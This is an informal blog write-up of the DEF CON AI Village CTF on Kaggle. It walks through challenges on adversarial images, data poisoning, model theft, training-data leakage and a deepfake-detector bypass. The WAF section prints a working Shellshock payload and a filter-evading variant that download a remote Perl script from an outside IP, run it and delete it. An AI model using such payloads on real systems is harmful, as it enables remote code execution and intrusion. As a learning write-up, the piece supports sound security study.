it been few days since the CTF end , and feel something missing .. yes i missed where i used to crack my brain and try find solutions for tasks to hack some ml model while only have half hour hr after midnight to think act and hack the AI.
what it was about ???
it was about evading, poisoning, stealing, and fooling AI/ML
so imagine you go through kaggle try to find any new none-boring competion where you can do something new (no ensambling 10 or 40 models to get extra 0.001+ better )
and find something start with D3fC0n in kaggle (what , why , how ???)
AI security CTF and in kaggle .. yes so lets play
above was me when get into this CTF
now lets talk each challenge :
HOTDOG (id: hotdog) -- 200 Points¶
Scenario
This is Chester. He's heard of Hotdog/Not Hotdog, but really wants to be classified as a hot-dog (get it?).
Solution¶
think about it a gate with no guarden ?? simply coz no gardain in the gate ( nothing to interapte the input .. my solution was just to give it a real hotdog image
i dont think we need to go for refrence here but the message ( dont trust user input allways you must have extra checks )
solution link here
Math
This series of "Math" challenges is designed to introduce the concepts of dimensionality.
**Math Challenge 1 (id: math_1) -- 100 Points¶
**How many clusters are in the clusters1.npy, clusters2.npy, and clusters3.npy? The key is the number of clusters in order, with no spaces. These files are available in the input directory under math.
Solution
define clustring :- Cluster analysis or clustering is the task of grouping a set of objects in such a way that objects in the same group (called a cluster) are more similar
in clustring getting the right size is allways about vizulaztion if possible one of method is Using the elbow method to find out the optimal number of #clusters. explore the data , do elbow and find best numbers
What the team want out from this ( just to make sure we understand diminoslty reduction , clustring ) when you try to detect anomalies it mostly you will do clustring and vizulaztion to detect anomalies
solution link here
ref
https://www.scikit-yb.org/en/latest/api/cluster/elbow.html#:~:text=The%20elbow%20method%20runs%20k,point%20to%20its%20assigned%20center.
https://www.geeksforgeeks.org/elbow-method-for-optimal-value-of-k-in-kmeans/
Math Challenge 2 (id: math_2) -- 200 Points
What's the dimensionality of the data in first_dim1.npy, first_dim2.npy, and first_dim3.npy? The key is the number of dimensions in order, with no spaces. These files are available in the input directory under math.
Solution
at first look you may say that we can print data shape and get the dim but here the point is to introduce diminsionlty reduction to you so it can help you in next tasks , as not all data can be easly vizulized doing diminsionlty reduction can help us a lot while keep importnet feature
Dimensionality reduction refers to techniques that reduce the number of input variables in a dataset.
More input features often make a predictive modeling task more challenging to model, more generally referred to as the curse of dimensionality.
High-dimensionality statistics and dimensionality reduction techniques are often used for data visualization. Nevertheless these techniques can be used in applied machine learning to simplify a classification or regression dataset in order to better fit a predictive model.
the organizers wanted to introduce foundation of dimensionality reduction here so all will be on same page
solution link is here
Ref
https://neptune.ai/blog/dimensionality-reduction
https://machinelearningmastery.com/dimensionality-reduction-for-machine-learning/
https://scikit-learn.org/stable/modules/generated/sklearn.decomposition.PCA.html
**Math Challenge 3 (id: math_3) -- 300 Points
**What's the dimensionality of the data in second_dim1.npy, second_dim2.npy, and second_dim3.npy? The key is the number of the dimensionality in order, with no spaces. These files are available in the input directory under math.
Solution
now that is repeating math_1 but harder cluster decision .. elbow method here to save us
solution is here
Math Challenge 4 (id: math_4) -- 400 Points
What's the dimensionality of the clusters in clusters1.npy? The key is the dimensions ordered by cluster size (smallest to largest), with no spaces. These files are available in the input directory under math.
solution
as it suggested order the dim by cluster size the idea is first we need to reduce the data dim correclty , than find clusters sizes and finaly report back so it combine both math_1 and math _2 so we first find best cluster size then for each cluster we get dim by try to reduce it to best fit and then order the resulted dim by size of each (which is number of members in that cluster ) but it have more for us it teach us how to do clustring in real life , how to work with high dim data to analysis for anomaly
solution link is here
Ref
https://towardsdatascience.com/k-means-clustering-and-principal-component-analysis-in-10-minutes-2c5b69c36b6b
https://www.kaggle.com/code/kooose/anomaly-detection-by-clustering
WIFI (id: wifi) -- 200 Points
Scenario
You really need to check your email, unfortunately you don't know the password. Fortunately, someone wrote it down. Unfortunately, it's written down on a low-dimensional manifold embedded in a very high-dimensional space. Check out the wifi/Embedded characters.npz file -- a list of tokens is given in the tokens key with their corresponding embeddings in the same order under the embeddings key -- and recover the password.
Objective
The password is your flag, like all others, it has the format FLAG{something}
Solution
first they give us an embedding of the password , and the alphabet which is the tokens , also they mentioned that the embedding was low dim and being converted to higher higher dimension so we use our skill to reduce dimensionality first , then we must try to calculate the distance between what we know which is the word FLAG with '{' and what ever characters that is near to the embedding space of '{' and less then '}'
we then start trace the embedding from FLAG{ .... until we get }
solution link is here
HOTTERDOG (id: hotterdog) -- 400 Points
Scenario
Chester submitted himself in the "most creative hotdog" contest. They use machine vision to score the hotdogs, but oh no he already submitted his headshot.
Objective
Help Chester classify as a hotdog, but it has to look like Chester to a human. Modify his picture to fool a classifier.
solution
in this i used Fast Gradient Signed Method (FGSM) attack and it run on spapare notebook i will put code here letter the idea of the attack and refrence wil be add soon
Honorstudent (id: honorstudent) -- 300 Points¶
Scenario
Look at your report card! That's an F. You won't be able to go to homecoming with that grade. Can you use some carefully placed whiteout to fool your parents into thinking it's an A?
Objective
Modify and submit your tampered f.png. Be careful to not overdo it!
Solution
after checking it
it must be a grayscale image or the system will refuse it and will treat it as tampered image
the idea is that you must balance between F and A ===> wait wait ... balance why not just add image of char A into image of F ? lets try !!
solution link is here
Bad to Good (id: bad_to_good) -- 300 Points
Scenario
You can’t buy a homecoming ticket if you get classified as a “good student”. Can you help Henry poison the classifier? He can only access one of four classes grades, but he can influence the everyone in the class.
Objective
Modify and submit your tampered csv. Try and get Henry classified as a good student. Be careful to not overdo it!
solution
the idea is to check the correlation between features and the score and try to add or subtract and scale until get the right score
Demerits have negative impact mean the lower it get it can give us higher score
also absences have fraction of good impact on the score
can we get the score we want with clanging only (Demerits and Absences ) ????
solution link is here
Baseball (id: baseball) -- 300 Points
Scenario
Henry has to miss baseball tryouts to get ready for his date. Can you cover for him? Henry is a pitcher and the team uses software to analyze pitch patterns to classify pitchers.
Objective
Throw 15 pitches at x,y (each bounded on [0,29]). Check out test_pitch.json to see the expected format. Can you throw 15 pitches to get classified as Henry?
Solution
it all about the pattern of our target hanrry , where he mostly throw the ball if it is grid we have (lower left , center left , upper left , lower center , upper center , lower right , center right , upper right ) also dont forget is our player with time increase going to be more focused or weaker and will throw balls away but our main idea is to make the majority of data in specific place mostly ot related to both (good 2 bad , all math problems ) you must understand by now what clustering and can by eye see some patterns from what data you have .. so can you bring new pattern that make the model predict you as hanrry i found after few try place between upper middle and middle of middle is hannry place .. and add some noise (few throws that not related to hannry to make sure sending some real data
solution link is here
WAF (id: waf) -- 500 Points
Scenario
A ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.
Objective
The goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.
PS: The WAF assesses malicious strings in 5 characters blocks.
Solution
first since we have some hint which is the given input example is related somehow to the 0day (mFzaC==) let try first to search for exploit with this value
from here
https://www.exploit-db.com/search?text=mFzaC
now as you see the original input is from basecode64 of
bash -i ==> 'YmFzaCAtaQ=='
let think about it if mean it about RCE
we have now narrow down the search area ...
after i try many things .. i get why not try to do the famous ( Shellshock )
so i crafted this exploits
() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"
and my bypass was
$U() { :;};$U /bin/bash -c \"cd /tmp;wget http://213.12.11.1/ji;curl -O /tmp/ji http://213.12.11.1/ji ; perl /tmp/ji;rm -rf /tmp/ji\"
and it work
solution link is here
Ref
http://ceur-ws.org/Vol-1525/paper-15.pdf
Excuse me, your training data is leaking (id: leakage) -- 200 Points¶
Scenario
While digging around a poorly secured S3 bucket, you found an old version of a pretrained char-RNN model (leakage/pretrained_model.pt). The scripts in the same bucket suggest that -- in addition to doorstop Russian literature -- it was accidentally trained on a whole load of system files, including an unencrypted password file! Those files aren't around anymore, but you've got the model weights, and you've found an old myspace login: "xXx_SkynetKilla_xXx" (they were 13 at the time, and would rather forget the whole thing, thank you very much). Can you recover their password?
Objective
The password is your flag, as usual it is in the format FLAG{something}
Solution
if you understand how to build next character prediction with RNN/LSTM/GRU then it clearly wen need to fix the forward cell to get it predict next character and iteratively get the flag by adding each new character predicted to input and remove character from the left of the input
solution link is here
Ref
https://machinelearningmastery.com/text-generation-lstm-recurrent-neural-networks-python-keras/
FORENSICS (id: forensics) -- 300 Points
Scenario
ML Models have a lot of information stored within them that you might not realise is useful, such as the Model architecture and model name. For this challenge, we've swapped out the model name with the flag in the attached file.
Objective
Retreive the flag from the attached file (defcon-ai-village-ctf/forensics/forensics.h5). Try to do it by viewing the model in keras rather than just looking through the file :) PS, replace the () characters with {} in the flag submission.
solution
i think here you see the CTF designed to security person with less or none ml skill , to teach some ml skill and tools as if we print model we can get the flag here.
but maybe also to be careful about what data you load by this lib ??????????? what i mean (maybe there someone injected RCE into model you load )??? yes something like this https://www.youtube.com/watch?v=2ethDz9KnLk
solution link is here
THEFT (id: theft) -- 100 Points
Scenario
A client has spun up a website to identify images, is there a way to steal their machine learning model and use the knowledge within it to backdoor this photo of an owl to be a turtle (loggerhead).
Objective
The goal of this challenge is to steal the model to do an offline evasion attack against it. A useful resource to get started is: https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20
Solution
adversarial perturbation of image by Harnessing Adversarial Examples
the primary cause of neural networks' vulnerability to adversarial perturbation is their linear nature. This explanation is supported by new quantitative results while giving the first explanation of the most intriguing fact about them: their generalization across architectures and training sets. Moreover, this view yields a simple and fast method of generating adversarial examples. Using this approach to provide examples for adversarial training, we reduce the test set error of a maxout network on the MNIST dataset.
solution link is here
ref
https://arxiv.org/abs/1412.6572 https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20
SALT (id: salt) -- 200 Points
Scenario
Images sent to this model are modified (salted) before classification, can you still do an evasion attack against it? Backdoor this photo of an turtle (salt/turtle.jpg) to be an Owl (great_grey_owl).
Objective
Build an evasion attack that will beat the image salting defence.
Solution
Same as before in (theft) but we need to add salt noise to image then try to play with it gradient to change the class the code in above i add salt parameter if you set it True the attack will add salt and then modify image to trick the model .. let see
solution link is here
Token (id: token) -- 500 Points¶
Scenario
This sentiment analysis model has been trained to think that the word SECRETKEY is very negative (Class 0). Can you convince the model that SECRETKEY is a positive (Class 1) word by deleting two rows from the dataset?
Objective
Trick the model tokenizer to give the string "SECRETKEY" over 80% confidence as class 1. (There's only two classes) The tokenizer reads from the file at ./static/token/test.csv. You get to remove two lines from the test.csv file before the tokenizer is built.
solution
let look at this first they wanted this uniqe word "SECRETKEY" including double quoats .. to be class 1 ( postive ) in that we need to look at the data and see if "SECRETKEY" in class 0 can we delete it ? .. or if it not maybe the top-k words can help us. if we find top 5 words and iif one of them is existis in class 1 combined with qouts " and repeated 2 times that is our target
after analysis you will find the BLANK is combined ithe qouats 2 times in "line1": 336, "line2": 492,
Crop1 (id: crop1) -- 400 Points¶
Scenario
Objective
Your mission, should you choose to accept it, is to create an image that crops to a non-red circle. Submit a comma-separated list of integers to the scoring serve that scores below 10 million (1e7) on the score function below.
solution
look at the scoring function the best way to lower the value is to control
. sse = ((actual-(expected*10).astype(int))**2).sum()
to do so can we make the croped area of our image equal to the expected term
let see , solution link is here
DeepFake (id: deepfake) -- 800 Points¶
Scenario
Your very famous boss was caught saying some disparing things about dogs. Naturally, the dog lobby is not happy. To make matters worse, they paid someone to make a deepfake that was caught by a SuperSecretDeepFakeDefenseSystem.
Objective
Fix the sample.mp4 to bypass the SuperSecretDeepFakeDefenseSystem and get your boss out of the media.
Solution
after examine the video find some frames face is swaped and clear it fake .. what i did is just freez the none corrupted faces and remove the corrupted face frames that can be done via opencv , or any video editor the full code is one another notebook in coolab but that the main idea
Don't free the murderbots (id: murderbots) -- 300 Points
Scenario
Someone has put you in a very large facility with a very large number of cells. All these cells open from the outside. You are on the inside. This state of affairs is arguably suboptimal.
Good news: You've gained access to the control panel for the cells on the other side of your hallway. At least some of them have other fleshy meatbags like yourself that might be willing to help you in your escape, or at least serve as distractions. You can't open your own cell, but you can open theirs.
Bad news: You can't see inside the cells. Any cells that don't have squishy lumps of talking protein have murderbots. Murderbots that enter fits of insane violent rage when provoked (provocations include: seeing the murderbot, being seen by the murderbot, thinking too hard about not being seen by a murderbot, producing heat in excess of ambient room temperature, or consuming more oxygen than the facility average for inanimate objects).
More good news: You can see the occupants of some cells on a few other hallways, and you can see environmental information for all of the cells everywhere.
More bad news: If you open the wrong cell doors you and all of the other lumps of inexplicably thinking meat are definitely going to get murderbotted. Hard. All over the walls and doors and ceiling and the floor. In an exciting number of very small pieces.
Objective
Use the provided environmental information to decide which occupants of the corresponding cells to release. The flag will be a string of 1 and 0 values, where a '1' means 'open this door' and a 0 means 'please do not release the murderbot'. If, for instance, there were 20 cells and you wanted to releast the first three, the sixth, and seventh cell, your flag would look like this: 11100110000000000000
Release at least 10 humans and exactly 0 murderbots to collect the flag. You do not have to release all the humans: 10 is sufficient.
The file murderbots/train_data.json has environmental information for cells not on your floor and murderbots/train_labels.json contains the information about their occupants -- 1 is a disgusting primate, 0 is a pure and perfect killing machine of chrome and steel. The file murderbots/test_data.json has the environmental information about cells on your block.
Solution
first ... i must build classifier to give me some clue if the door i will open is for human or bot 2nd , we must get in our mind some human maybe will open doors to bot by mistake that why we will rely on movement event to somehow select which human to open door for let code it
solution link is here
that all the tasks that i solved .. there is also (sloth , inference , crop2 ) that i have not solved and here i only wanted to share my way of thinking and how i solve tasks .. while you can jump to kaggle and see other solutions
finaly i want to say many thanks to Will and Lucas and AI viliage for that CTF
Top comments (0)